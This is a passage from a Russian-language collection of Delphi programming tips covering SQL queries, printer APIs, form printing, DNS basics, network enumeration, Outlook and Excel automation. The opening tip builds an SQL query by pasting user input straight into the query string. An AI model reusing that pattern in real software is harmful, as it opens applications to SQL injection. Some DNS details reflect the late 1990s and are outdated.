Как мне передать значение переменной в SQL-запросе? К примеру, в обработчике onClick клавиши вывести все записи с величиной поля большей, чем задал пользователь. Можно ли в Delphi создать что-либо подобное механизму запросов, реализованному в Paradox for Windows?

Решение этой задачи в Delphi подобно созданию и выполнению строки запроса SQL в Paradox.

Pdoxwin код:

Code: Method pushButton(var eventInfo Event). Var. S string. Q query. D database. Endvar. D.open( "MYALIAS" ). S = "select * from mytable where somefield=\"" + entryField.value + "\"". Q.readFromString( s ). Q.executeSQL( d ). Endmethod.

Delphi код:

Code: Procedure TForm1.Button1Click(Sender: TObject); Begin. MyQuery.Active := false; MyQuery.SQL.clear; MyQuery.SQL.add('select * from mytable where somefield="' + EntryField.Text + '"'); MyQuery.Active := true; End;

©Drkb::03101.

Взято с http://delphiworld.narod.ru.

Задать необходимый для печати принтер.

Кто-нибудь пристально изучал объект TPrinter? Вы можете задать необходимый для печати принтер, используя свойство Printer.PrinterIndex. Для примера:

Code: // Устанавливает первый принтер, проинсталлированный в системе. Printer.PrinterIndex:=0; // Указывает на принтер, установленный в системе по умолчанию. Printer.PrinterIndex:=-1;

Как открыть диалог добавления принтера.

Code: // добавьте ShellAPI в USES. Begin. ShellExecute(handle, nil, 'rundll32.exe', 'shell32.dll,SHHelpShortcuts_RunDLL AddPrinter', '', SW_SHOWNORMAL); End;

Определение параметров принтера через API.

Для определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно узнать объекта TPrinter - Printer.Handle. Далее вызывается функция API (unit WinProcs) :

GetDevice(Handle:HDC; Index:integer):integer;

Index - код параметра, который необходимо вернуть. Для Index существует ряд констант :

DriverVersion - вернуть версию драйвера.

Texnology - Технология вывода, их много, основные.

Dt_Plotter - плоттер.

Dt_RasPrinter - растровый принтер.

Dt_Display - дисплей.

HorzSize - Горизонтальный размер листа (в мм).

VertSize - Вертикальный размер листа (в мм).

HorzRes - Горизонтальный размер листа (в пикселах).

VertRes - Вертикальный размер листа (в пикселах).

LogPixelX - Разрешение по оси Х в dpi (пиксел /дюйм).

LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм).

Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все.

Параметры, возвращаемые по LogPixelX и LogPixelY очень важны - они позволяют произвести пересчет координат из миллиметров в пиксели для текущего разрешения принтера. Пример таких функций:

Code: { Получить информацию о принтере }. Procedure TForm1.GetPrinterInfo; Begin. PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX); PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY); End; { переводит координаты из мм в пиксели }. Function TForm1.PrinterCoordX(x:integer):integer; Begin. PrinterCoordX:=round(PixelsX/25.4*x); End; { переводит координаты из мм в пиксели }. Function TForm1.PrinterCoordY(Y:integer):integer; Begin. PrinterCoordY:=round(PixelsY/25.4*Y); End; ... GetPrinterInfo; Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55), 'Этот текст печатается с отступом 30 мм от левого края и '+ '55 мм от верха при любом разрешении принтера');

Как найти все установленные компоненты?

Code: Uses ToolsApi; {....} Var. A, i: Integer; Begin. With (BorlandIDEServices as IOTAPackageServices) do. Begin. For a := 0 to GetPackageCount - 1 do. Begin. For i := 0 to GetComponentCount(a) - 1 do. Begin. {get each component name with GetComponentName(a, i);}. End; End; End; End;

©Drkb::00040.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Подробное описание способа печати содержимого формы.

Данный документ содержит подробное описание способа печати содержимого формы: получение отдельных битов устройства при 256-цветной форме, и использования полученных битов для печати формы на принтере.

Кроме того, в данном коде осуществляется проверка палитры устройства (экран или принтер), и включается обработка палитры соответствующего устройства. Если устройством палитры является устройство экрана, принимаются дополнительные меры по заполнению палитры растрового изображения из системной палитры, избавляющие от некорректного заполнения палитры некоторыми видеодрайверами.

Примечание: Поскольку данный код делает снимок формы, форма должна располагаться на самом верху, поверх остальных форм, быть полность на экране, и быть видимой на момент ее "съемки".

Code: Unit Prntit; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls; Type. TForm1 = class(TForm). Button1: TButton; Image1: TImage; Procedure Button1Click(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Uses Printers; Procedure TForm1.Button1Click(Sender: TObject); Var. Dc: HDC; IsDcPalDevice: BOOL; MemDc: hdc; MemBitmap: hBitmap; OldMemBitmap: hBitmap; HDibHeader: Thandle; PDibHeader: pointer; HBits: Thandle; PBits: pointer; ScaleX: Double; ScaleY: Double; Ppal: PLOGPALETTE; Pal: hPalette; Oldpal: hPalette; I: integer; Begin. {Получаем dc экрана}. Dc := GetDc(0); {Создаем совместимый dc}. MemDc := CreateCompatibleDc(dc); {создаем изображение}. MemBitmap := CreateCompatibleBitmap(Dc, Form1.width, Form1.height); {выбираем изображение в dc}. OldMemBitmap := SelectObject(MemDc, MemBitmap); {Производим действия, устраняющие ошибки при работе с некоторыми типами видеодрайверов}. IsDcPalDevice := false; If GetDeviceCaps(dc, RASTERCAPS) and. RC_PALETTE = RC_PALETTE then. Begin. GetMem(pPal, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY))); FillChar(pPal^, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY)), #0); PPal^.palVersion := $300; PPal^.palNumEntries := GetSystemPaletteEntries(dc, 0, 256, PPal^.palPalEntry); If pPal^.PalNumEntries <> 0 then. Begin. Pal := CreatePalette(pPal^); OldPal := SelectPalette(MemDc, Pal, false); IsDcPalDevice := true. End. Else. FreeMem(pPal, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY))); End; {копируем экран в memdc/bitmap}. BitBlt(MemDc, 0, 0, Form1.width, form1.height, Dc, Form1.left, form1.top, SrcCopy); If isDcPalDevice = true then. Begin. SelectPalette(MemDc, OldPal, false); DeleteObject(Pal); End; {удаляем выбор изображения}. SelectObject(MemDc, OldMemBitmap); {удаляем dc памяти}. DeleteDc(MemDc); {Распределяем память для структуры DIB}. HDibHeader := GlobalAlloc(GHND, Sizeof(TBITMAPINFO) + (sizeof(TRGBQUAD) * 256)); {получаем указатель на распределенную память}. PDibHeader := GlobalLock(hDibHeader); {заполняем dib-структуру информацией, которая нам необходима в DIB}. FillChar(pDibHeader^, Sizeof(TBITMAPINFO) + (sizeof(TRGBQUAD) * 256), #0); PBITMAPINFOHEADER(pDibHeader)^.biSize := Sizeof(TBITMAPINFOHEADER); PBITMAPINFOHEADER(pDibHeader)^.biPlanes := 1; PBITMAPINFOHEADER(pDibHeader)^.biBitCount := 8; PBITMAPINFOHEADER(pDibHeader)^.biWidth := form1.width; PBITMAPINFOHEADER(pDibHeader)^.biHeight := form1.height; PBITMAPINFOHEADER(pDibHeader)^.biCompression := BI_RGB; {узнаем сколько памяти необходимо для битов}. GetDIBits(dc, MemBitmap, 0, Form1.height, Nil, TBitmapInfo(pDibHeader^), DIB_RGB_COLORS); {Распределяем память для битов}. HBits := GlobalAlloc(GHND, PBitmapInfoHeader(pDibHeader)^.BiSizeImage); {Получаем указатель на биты}. PBits := GlobalLock(hBits); {Вызываем функцию снова, но на этот раз нам передают биты!}. GetDIBits(dc, MemBitmap, 0, Form1.height, PBits, PBitmapInfo(pDibHeader)^, DIB_RGB_COLORS); {Пробуем исправить ошибки некоторых видеодрайверов}. If isDcPalDevice = true then. Begin. For i := 0 to (pPal^.PalNumEntries - 1) do. Begin. PBitmapInfo(pDibHeader)^.bmiColors[i].rgbRed := PPal^.palPalEntry[i].peRed; PBitmapInfo(pDibHeader)^.bmiColors[i].rgbGreen := PPal^.palPalEntry[i].peGreen; PBitmapInfo(pDibHeader)^.bmiColors[i].rgbBlue := PPal^.palPalEntry[i].peBlue; End; FreeMem(pPal, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY))); End; {Освобождаем dc экрана}. ReleaseDc(0, dc); {Удаляем изображение}. DeleteObject(MemBitmap); {Запускаем работу печати}. Printer.BeginDoc; {Масштабируем размер печати}. If Printer.PageWidth < Printer.PageHeight then. Begin. ScaleX := Printer.PageWidth; ScaleY := Form1.Height * (Printer.PageWidth / Form1.Width); End. Else. Begin. ScaleX := Form1.Width * (Printer.PageHeight / Form1.Height); ScaleY := Printer.PageHeight; End; {Просто используем драйвер принтера для устройства палитры}. IsDcPalDevice := false; If GetDeviceCaps(Printer.Canvas.Handle, RASTERCAPS) and. RC_PALETTE = RC_PALETTE then. Begin. {Создаем палитру для dib}. GetMem(pPal, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY))); FillChar(pPal^, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY)), #0); PPal^.palVersion := $300; PPal^.palNumEntries := 256; For i := 0 to (pPal^.PalNumEntries - 1) do. Begin. PPal^.palPalEntry[i].peRed := PBitmapInfo(pDibHeader)^.bmiColors[i].rgbRed; PPal^.palPalEntry[i].peGreen := PBitmapInfo(pDibHeader)^.bmiColors[i].rgbGreen; PPal^.palPalEntry[i].peBlue := PBitmapInfo(pDibHeader)^.bmiColors[i].rgbBlue; End; Pal := CreatePalette(pPal^); FreeMem(pPal, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY))); OldPal := SelectPalette(Printer.Canvas.Handle, Pal, false); IsDcPalDevice := true. End; {посылаем биты на принтер}. StretchDiBits(Printer.Canvas.Handle, 0, 0, Round(scaleX), Round(scaleY), 0, 0, Form1.Width, Form1.Height, PBits, PBitmapInfo(pDibHeader)^, DIB_RGB_COLORS, SRCCOPY); {Просто используем драйвер принтера для устройства палитры}. If isDcPalDevice = true then. Begin. SelectPalette(Printer.Canvas.Handle, oldPal, false); DeleteObject(Pal); End; {Очищаем распределенную память} GlobalUnlock(hBits); GlobalFree(hBits); GlobalUnlock(hDibHeader); GlobalFree(hDibHeader); {Заканчиваем работу печати}. Printer.EndDoc; End;

Получить список шрифтов и их размеров для текущего принтера.

Следующий пример помещает в компонент TMemo список шрифтов и их размеров для текущего принтера.

Code: Uses Printers; Function EnumFontFamilyProc(var lf: TLogFont; Var tm: TNewTextMetric; FontType: integer; Var Memo: TMemo): integer. {$IFDEF WIN32} stdcall; {$ELSE}; export; {$ENDIF}. Begin. Memo.Lines.Add(StrPas(@lf.lfFaceName) + #32 + IntToStr(lf.lfHeight)); Result := 1; End; Function EnumFontFamiliesProc(var lf: TLogFont; Var tm: TNewTextMetric; FontType: integer; Var Memo: TMemo): integer. {$IFDEF WIN32} stdcall; {$ELSE}; export; {$ENDIF}. Begin. If FontType = TRUETYPE_FONTTYPE then. Begin. Memo.Lines.Add(StrPas(@lf.lfFaceName) + #32 + 'All Sizes'); End. Else. EnumFontFamilies(Printer.Handle, @lf.lfFaceName, @EnumFontFamilyProc, LongInt(@Memo)); Result := 1; End; Procedure TForm1.Button1Click(Sender: TObject); Var. Tm: TTextMetric; I: integer; Begin. If PrintDialog1.Execute then. Begin. EnumFontFamilies(Printer.Handle, Nil, @EnumFontFamiliesProc, LongInt(@Memo1)); End; End;

Как узнать драйвер принтера.

Иногда метод GetPrinter() компонента TPrinter возвращает пустую строку, поэтому целесообразно воспользоваться API для получения необходимых параметров из файла Windows.ini.

Code: Uses Printers; {$IFNDEF WIN32}. Const MAX_PATH = 144; {$ENDIF}. Procedure TForm1.Button1Click(Sender: TObject); Var. PDevice: pChar; PDriver: pChar; PPort: pChar; HDMode: THandle; Begin. If PrintDialog1.Execute then begin. GetMem(pDevice, cchDeviceName); GetMem(pDriver, MAX_PATH); GetMem(pPort, MAX_PATH); Printer.GetPrinter(pDevice, pDriver, pPort, hDMode); If lStrLen(pDriver) = 0 then begin. GetProfileString('Devices', pDevice, '', pDriver, MAX_PATH); PDriver[pos(',', pDriver) - 1] := #0; End; If lStrLen(pPort) = 0 then begin. GetProfileString('Devices', pDevice, '', pPort, MAX_PATH); LStrCpy(pPort, @pPort[lStrLen(pPort) + 2]); End; Memo1.Lines.Add('Device := ' + StrPas(pDevice)); Memo1.Lines.Add('Driver := ' + StrPas(pDriver)); Memo1.Lines.Add('Port := ' + StrPas(pPort)); FreeMem(pDevice, cchDeviceName); FreeMem(pDriver, MAX_PATH); FreeMem(pPort, MAX_PATH); End; End;

Как получить информацию о заданиях на принтере.

В Windows существуют встроенные средства для мониторинга заданий на принтере. Однако, давайте разберёмся, как отслеживать задания на принтере программно. Для существует API функция "EnumJobs", которая позволяет получить давольно много информации о текущем состоянии принтера (Имя задания, Состояние, дату, время и т.д.).

Ниже представлена функция, которая использует EnumJobs и возвращает массив структуры, в котором представлена вся необходимая информация:

Code: Uses WinSpool; Type. JOB_INFO_1_ARRAY = array of JOB_INFO_1; Function GetSpoolerJobs(sPrinterName: string): JOB_INFO_1_ARRAY; Var. I: Integer; HPrinter: THandle; BResult: Boolean; CbBuf: DWORD; PcbNeeded: DWORD; PcReturned: DWORD; AJobs: array[0..99] of JOB_INFO_1; Begin. CbBuf := 1000; BResult := OpenPrinter(PChar(sPrinterName), hPrinter, nil); If not bResult then. Begin. ShowMessage('Error opening the printer'); Exit; End; BResult := EnumJobs(hPrinter, 0, Length(aJobs), 1, @aJobs, cbBuf, pcbNeeded, PcReturned); If not bResult then. Begin. ShowMessage('Error Getting Jobs information'); Exit; End; ClosePrinter(hPrinter); For i := 0 to pcReturned - 1 do. Begin. If aJobs[i].pDocument <> nil then. Begin. SetLength(Result, Length(Result) + 1); Result[Length(Result) - 1] := aJobs[i]; End; End; End;

Как установить драйвер принтера.

Приведенный пример устанавливает драйвер принтера. Вам необходимо скопировать файлы с драйвером принтера в каталог Windows\System и внести необходимые изменения в файл Win.Ini.

Примечание:

DriverName = Имя драйвера;

DRVFILE - имя файла с драйвером без расширения (".drv" - по умолчанию).

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. S: array [0..64] of char; Begin. WriteProfileString('PrinterPorts', 'DriverName', 'DRVFILE,FILE:,15,45'); WriteProfileString('Devices', 'DriverName', 'DRVFILE,FILE:'); StrCopy(S, 'PrinterPorts'); SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S)); StrCopy(S, 'Devices'); SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S)); End;

Как заставить корректно работать mouse wheel в TDBGrid?

Code: {....} Public. Procedure AppMessage(var Msg: TMsg; var Handled: Boolean); {....} Procedure TForm1.AppMessage(var Msg: TMsg; var Handled: Boolean); Var. I: SmallInt; Begin. {Mouse wheel behaves strangely with dgbgrids - this proc sorts this out}. If Msg.message = WM_MOUSEWHEEL then. Begin. Msg.message := WM_KEYDOWN; Msg.lParam := 0; I := HiWord(Msg.wParam); If i > 0 then. Msg.wParam := VK_UP. Else. Msg.wParam := VK_DOWN; Handled := False; End; End; // And in the project source: {....} Application.OnMessage := Form1.AppMessage; {....}

Описание протокола DNS.

(Domain Name System).

Служба Доменных Имен предназначена для того, чтобы машины, работающие в Internet, могли по доменному имени узнать IP-адрес нужной им машины, а также некоторую другую информацию; а по IP-номеру могли узнать доменное имя машины.

Служба Доменных Имен была разработана для именования машин в глобальной сети. Основной особенностью глобальной сети является распределенное администрирование, когда один администратор физически не может уследить за выделением имен. Поэтому Служба Доменных Имен функционирует на принципе делегирования полномочий. Каждая машина либо знает ответ на вопрос, либо знает кого спросить. При правильном функционировании система замкнута, т.е. если запрошенная информация имеется у кого-либо, то она будет найдена и сообщена клиенту, либо, если вопрос не имеет ответа, клиент получит сообщение о невозможности получения ответа на вопрос.

Каждый клиент знает своего сервера; обычно указывается не один, а несколько серверов - если первый не отвечает, клиент обращается ко второму и так далее до исчерпания списка. В принципе неважно, к какому серверу обращаться - они дают (должны давать при правильном функционировании) одинаковые ответы на любой запрос. Поэтому для ускорения работы обычно указывают ближайший. Следует помнить, что на одной машине могут функционировать одновременно Name-сервер и программы-клиенты; поэтому если на машине запущен Name-сервер, то в качестве Name-сервера на ней должен быть прописан "я сам".

Имеется некий домен верхнего уровня, обозначаемый точкой: ".". Имеется девять серверов (по крайней мере на моем Name-сервере записано столько), которые отвечают за эту зону. Они не знают ни одного доменного имени - они только авторизуют серверы верхних зон. Серверы верхних зон тоже гнушаются хранить информацию о конкретных машинах и передают это право нижележащим серверам. Тут уже появляются первые упоминания о конкретных машинах, равно как и происходит авторизация нижележащих серверов.

Мне неизвестна ни одна машина с доменным именем из одного сегмента; очень редко используются доменные имена из двух сегментов; имена из трех и четырех сегментов составляют подавляющую долю всех имен Internet; имена из пяти сегментов встречаются довольно редко, а из шести и более мне неизвестны.

Допустим, клиент запросил адрес "www.организация.город.страна". Поиск информации по доменному имени происходит следующим образом:

Клиент спрашивает своего сервера.

Если тот является сервером данной зоны, то ответит, на чем все заканчивается.

Сервер спрашивает корневой сервер.

Тот не может ответить, потому что не знает; зато знает, какой сервер отвечают за зону "страна".

Сервер зоны "страна" тоже не может ответить, но знает, что нужно спросить сервер зоны "город.страна".

Тот в свою очередь отсылает запрос серверу зоны "организация.город.страна", который сообщит нужную информацию.

Это приближенная модель, которая тем не менее позволяет представить работу системы DNS.

Однако эту стройную картину искажают системы кэширования и вторичных серверов. Дело в том, что получив ответ на свой вопрос, DNS-сервер получает также некоторое число, которое говорит ему о том, по истечении какого времени эта информация должна считаться устаревшей. Таким образом, все серверы, участвовавшие в поиске ответа на вопрос, заданный клиентом, могут (и скорее всего будут) помнить как ответ на заданный вопрос, так и путь, по которому шел поиск. При следующих запросах, имеющих общую правую часть с недавно сделанными запросами, поиск будет упрощен (ускорен).

Кроме того, большинство зон имеет вторичные серверы, которые содержат копии данных с первичных серверов. Сервер вышележащей зоны может направить запрос как первичному серверу, так и любому из вторичных, основываясь на своих соображениях о том, какой из них ближе.

Хочу обратить особое внимание на сходство, различие и взаимодействие систем DNS и IP-маршрутизации. Как и IP-маршрутизация, DNS работает по принципу делегирования полномочий, но выделение доменных имен совершенно не зависит от выделения IP-адресов. Для примера рассмотрим домен freebsd.org. Это - домен организации, занимающейся распространением операционной системы FreeBSD Unix. FTP-сервер, содержащий дистрибутив операционной системы и множества утилит для нее, имеет копии в нескольких десятках стран. Имена серверов выглядят так:

Ftp.freebsd.org.

Первичный сервер в США.

Ftp.страна.freebsd.org.

Основной сервер в стране.

Ftрчисло.страна.freebsd.org.

Дополнительный сервер в стране.

Так например на 11 февраля 1998 года.

Ftp.ru.freebsd.org соответствует ftp.ru.

Ftp2.ru.freebsd.org соответствует ftp.gamma.ru.

Ftp3.ru.freebsd.org соответствует ftp.chg.ru.

Таким образом, машины, находящиеся в России оказались произвольно (по воле DNS-мастера из университета Bercley) включенными в домен freebsd.org; однако, они также состоят в своих зонах. Система DNS позволяет любому DNS-мастеру включить любой сервер в свою зону, хотя это включение никого ни к чему не обязывает.

Однако, некоторым сервисам этого недостаточно - так E-mail требует, чтобы машина, принимающая письмо, признала своим адрес, указанный в качестве пункта назначения. Протокол HTTP 1.1 (в 1.0 этого не было) требует, чтобы в HTTP-запросе указывался не путь к файлу, отсчитанный от корня сервера (хотя такие запросы тоже признаются), но и имя сервера; при этом сам сервер знает, какие имена - его, а остальные обрезает и обслуживает в соответствии с HTTP 1.0.

Делегирование зоны ...in-addr.arpa дается только от провайдера вместе с IP-адресами. Собственно, это связано с предназначением ReverceDNS - сообщать доменное имя по IP-адресу. Наверняка мастер зоны freebsd.org держит Reverce-зону для IP-номеров, выделенных университету Bercley; но все эти серверы (кроме сервера, расположенного в университете) не входят в эту Reverce-зону, а значит, ему неподконтрольны.

Одна из проблем состит в том, что Reverce-зону можно выделить только на сеть класса A, B или C (на 16777216, 65536 или 256 адресов) и никак иначе. Можно получить правА на несколько зон одного или разных классов, но что делать тем, кому выделили меньше 256 адресов? А ведь в условиях исчерпания адресного пространства не редкость выделения пула уже на 16 адресов!

DNS-услуги Internet-провайдера.

Как правило, провайдер предоставляет клиенту целый комплекс услуг. В число оказываемых DNS-услуг входят:

Делегирование зоны ...in-addr.arpa клиентам, имеющим пул адресов, кратный 256.

Регистрация доменного имени клиента у держателя той зоны, в которой клиент хочет зарегистрироваться;

Поддержание вторичного сервера прямой и обратной DNS-зон клиента;

Поддержание первичного сервера этих зон, если клиент по какой-либо причине не поддерживает их сам (особенно это относится к случаю виртуальных зон и к случаю выделения малого пула адресов);

Если провайдер будет отказываться - сошлитесь на меня. :-).

Политика и стратегия назначения имен.

Имена зон условно можно разделить на "организационные" и "географические". В высшей зоне зарегестрированы следующие "организационные" зоны:

Com commercial (коммерческие).

Edu educational (образовательные).

Gov goverment (правительственные).

Mil military (военные).

Net network (организации, обеспечивающие работу сети).

Org organization (некоммерческие организации).

В данный момент, чтобы разгрузить домен com, собираются создать несколько новых доменов, но у меня нет достоверной информации по ним. В организационных зонах обычно размещаются непосредственно домены организаций.

Каждая страна (государство) имеет свой географический домен из двух букв:

Ae United Arab Emirates (Объединенные Арабские Эмираты).

Au Australia (Австралия).

Be Belgium (Бельгия).

Br Brazil (Бразилия).

By Belarus (Белоруссия).

Ca Canada (Канада).

Ch Switzerland (Швейцария).

Cz Czech Republic (Чехия).

De Germany (Германия).

Dk Denmark.

Do Dominican Republic (Доминиканская республика).

Ee Estonia (Эстония).

Eo ???

Es Spain (Испания).

Fi Finland (Финляндия).

Fr France (Франция).

Hu Hungary (Венгрия).

Il Israel (Израиль).

In India (Индия).

Iz ???

Jp Japan (Япония).

Kg Kyrgyzstan (Кыргызстан).

Kr South Korea (Южная Корея).

Kz Kazakhstan (Казахстан).

Lt Lithuania (Литва).

Lv Latvia (Латвия).

Mx Mexico (Мексика).

Nl Netherlands (Нидерланды).

No Norway (Норвегия).

Nz New Zealand (Новая Зеландия).

Pl Poland (Польша).

Ro Romania (Румыния).

Ru Russia (Россия).

Si Slovenia (Словения).

Sk Slovak Republic (Словакия).

Su Soviet Union (Советский Союз - поддерживается, но не распределяется).

Ua Ukraine (Украина).

Uk United Kingdom (Соединенное Королевство ВеликоБритания / Англия).

Yu Yugoslavia (Югославия).

Za South Africa (Южная Африка).

Я перечислил отнюдь не все страны - кто хочет, может прислать мне другие названия.

В зонах государств опять же имеются "организационные" и "географические" зоны. "Организационные" в большинстве своем повторяют структуру "организационных" зон верхнего уровня, разве что вместо "com" используется "co". "Географические" выделяются городам, областям и т.п. территориальным образованиям. Непосредственно в тех и других размещаются домены организаций или домены персональных пользователей.

После выбора зоны, в которую будет включен наш домен надо выбрать собственное имя домена. Обычно это имя компании, торговая марка или что-нибудь столь же характерное. Для неанглоязычных стран используется транскрипция имен. Часто возникают конфликты, связанные с тем, что одно и то же имя используется несколькими фирмами (законодательство допускает это для фирм, работающих в разных отраслях); многие люди заранее резервируют имена, могущие стать популярными для последующей продажи их владельцу торговой марки; но это уже касается юридической стороны функционирования Internet и не входит в мою компетенцию.

С левого конца доменного имени находятся имена машин. Имена бывают "собственные" и "функциональные". Имена "собственные" каждый придумавает в меру фантазии: машинам присваиваются имена членов семьи, животных, растений, музыкантов и артистов, литературных персонажей - кто во что горазд.

Имена "функциональные" вытекают из функций, выполняемых машиной:

Www.

HTTP (WWW) сервер.

Ftp.

FTP сервер.

Ns, nss, dns.

DNS (Name) сервер.

Mail.

Mail сервер.

Relay.

Mail Exchanger.

*proxy.

Соответствующий Proxy сервер.

Я считаю нежелательным присваивать какой-либо машине функциональное имя - в любой момент может потребоваться перенести соответствующую функцию на другую машину. Для этого лучше всего использовать псевдонимы, которые перенаправляют запросы к данному имени на записи, относящиеся к другому имени. Но вот ссылаться на псевдонимы при обьявлении Mail Ехсhаngеr'ов и вообще использовать их в правой части записей считается нежелательным, а зачастую является недопустимым.

©Drkb::03311.

Взято с http://delphiworld.narod.ru.

Получить список пользователей, подключённых к сети.

Code: Unit NetUtils; Interface. Uses. Windows, Classes; Function GetContainerList(ListRoot:PNetResource):TList; Type. {$H+}. PNetRes = ^TNetRes; TNetRes = record. DwScope : Integer; DwType : Integer; DwDisplayType : Integer; DwUsage : Integer; LocalName : string; RemoteName : string; Comment : string; Provider : string; End; {H-}. Implementation. Uses SysUtils; Type. PnetResourceArr = ^TNetResource; Function GetContainerList(ListRoot:PNetResource):TList; {возвращает список сетевых имён с подуровня ListRoot, каждый. Элемент списка TList - это PNetRec, где поле RemoteName определяет. Соответственно сетевое имя элемента списка. Если ListRoot=nil, то. Возвращается самый верхний уровень типа: 1. Microsoft Windows Network. 2. Novell Netware Network. Чтобы получить список доменов сети Microsoft, нужно вызвать эту. Функцию второй раз, передав ей в качестве параметра, Соответствующий элемент списка, полученного при первом её вызове. Чтобы получить список компьютеров домена - вызвать третий раз...}. Var. TempRec : PNetRes; Buf : Pointer; Count, BufSize, Res : DWORD; LphEnum : THandle; P : PNetResourceArr; I : SmallInt; NetworkList : TList; Begin. NetworkList := TList.Create; Result:=nil; BufSize := 8192; GetMem(Buf, BufSize); Try. Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, RESOURCEUSAGE_CONTAINER{0}, ListRoot,lphEnum); {в результате получаем ссылку lphEnum}. If Res <> 0 then. Raise Exception(Res); Count := $FFFFFFFF; {требуем выдать столько записей в список, сколько есть}. Res := WNetEnumResource(lphEnum, Count, Buf, BufSize); {в буфере Buf - списочек в виде массива указателей на структуры. Типа TNetResourceArr, а в Count - число этих структур}. If Res = ERROR_NO_MORE_ITEMS then. Exit; If (Res <> 0) then. Raise Exception(Res); P := PNetResourceArr(Buf); For I := 0 to Count - 1 do. Begin. // Требуется копирование из буфера, так как он. // действителен только до следующего вызова функций группы WNet. New(TempRec); TempRec^.dwScope := P^.dwScope; TempRec^.dwType := P^.dwType ; TempRec^.dwDisplayType := P^.dwDisplayType ; TempRec^.dwUsage := P^.dwUsage ; {имеются ввиду вот эти указатели}. TempRec^.LocalName := StrPas(P^.lpLocalName); {в смысле - строки PChar}. TempRec^.RemoteName := StrPas(P^.lpRemoteName); TempRec^.Comment := StrPas(P^.lpComment); TempRec^.Provider := StrPas(P^.lpProvider); NetworkList.Add(TempRec); Inc(P); End; Res := WNetCloseEnum(lphEnum); {а следующий вызов - вот он!}. If Res <> 0 then. Raise Exception(Res); Result:=NetWorkList; Finally. FreeMem(Buf); End; End; End.

Как прочитать адрес отправителя?

Code: { If you tried to work with messages from Delphi, you know that received message have the. SenderName property (name of sender) but doesn't allow to read the real address of sender. Something like SenderAddress is not available. There exist a few methods to retrieve this information: 1. help file says that sender is in Recipients collection. With Type property - 0 (olOriginator). But this way does work for any version of MS Outlook. So just iterate thru collection of Recipients and find an item with Type=0. Couldn't return required value. 2. as alternative you can read a ReplyTo property - there you'll receive an address. (but generally ReplyTo and Sender could be different). For example, in messages which I send from own mail account these values are different. 3. to create a new MailItem (just will be destroyed without saving in end of work), Define a Recipient as value which you received from SenderName of your original. Message and call a Resolve method - after that you'll recieve a correct email address of this sender. 4. more correct and fast solution is the next: } Var. S: string; ObjCDO: OLEVariant; Begin. ObjCDO := CreateOLEObject('MAPI.Session'); ObjCDO.Logon('', '', False, False); ObjMsg := objCDO.GetMessage(itemOL.EntryID, itemOL.Parent.StoreID); S := objMsg.Sender.Address; ShowMessage(s); ObjMsg := Unassigned; ObjCDO := Unassigned; End. { where itemOL is a MailItem which contain a SenderName but doesn't contain a SenderAddress }.

Как экспортировать данные из StringGrid в Excel?

{1. With OLE Automation }.

Code: Uses. ComObj; Function RefToCell(ARow, ACol: Integer): string; Begin. Result := Chr(Ord('A') + ACol - 1) + IntToStr(ARow); End; Function SaveAsExcelFile(AGrid: TStringGrid; ASheetName, AFileName: string): Boolean; Const. XlWBATWorksheet = -4167; Var. Row, Col: Integer; GridPrevFile: string; XLApp, Sheet, Data: OLEVariant; I, j: Integer; Begin. // Prepare Data. Data := VarArrayCreate([1, AGrid.RowCount, 1, AGrid.ColCount], varVariant); For i := 0 to AGrid.ColCount - 1 do. For j := 0 to AGrid.RowCount - 1 do. Data[j + 1, i + 1] := AGrid.Cells[i, j]; // Create Excel-OLE Object. Result := False; XLApp := CreateOleObject('Excel.Application'); Try. // Hide Excel. XLApp.Visible := False; // Add new Workbook. XLApp.Workbooks.Add(xlWBatWorkSheet); Sheet := XLApp.Workbooks[1].WorkSheets[1]; Sheet.Name := ASheetName; // Fill up the sheet. Sheet.Range[RefToCell(1, 1), RefToCell(AGrid.RowCount, AGrid.ColCount)].Value := Data; // Save Excel Worksheet. Try. XLApp.Workbooks[1].SaveAs(AFileName); Result := True; Except. // Error ? End; Finally. // Quit Excel. If not VarIsEmpty(XLApp) then. Begin. XLApp.DisplayAlerts := False; XLApp.Quit; XLAPP := Unassigned; Sheet := Unassigned; End; End; End;

Получение имени пользователя и домена.

Code: // Пример получения имени пользователя и домена под которым работает. // текущий поток или процесс. Type. PTOKEN_USER = ^TOKEN_USER; _TOKEN_USER = record. User : TSidAndAttributes; End; TOKEN_USER = _TOKEN_USER; Function GetCurrentUserAndDomain ( SzUser : PChar; var chUser: DWORD; szDomain :PChar; var chDomain : DWORD. ):Boolean; Var. HToken : THandle; CbBuf : Cardinal; PtiUser : PTOKEN_USER; Snu : SID_NAME_USE; Begin. Result:=false; // Получаем маркер доступа текущего потока нашего процесса. If not OpenThreadToken(GetCurrentThread(),TOKEN_QUERY,true,hToken). Then begin. If GetLastError()< > ERROR_NO_TOKEN then exit; // В случее ошибки - получаем маркер доступа нашего процесса. If not OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,hToken). Then exit; End; // Вывываем GetTokenInformation для получения размера буфера. If not GetTokenInformation(hToken, TokenUser, nil, 0, cbBuf). Then if GetLastError()< > ERROR_INSUFFICIENT_BUFFER. Then begin. CloseHandle(hToken); Exit; End; If cbBuf = 0 then exit; // Выделяем память под буфер. GetMem(ptiUser,cbBuf); // В случае удачного вызова получим указатель на 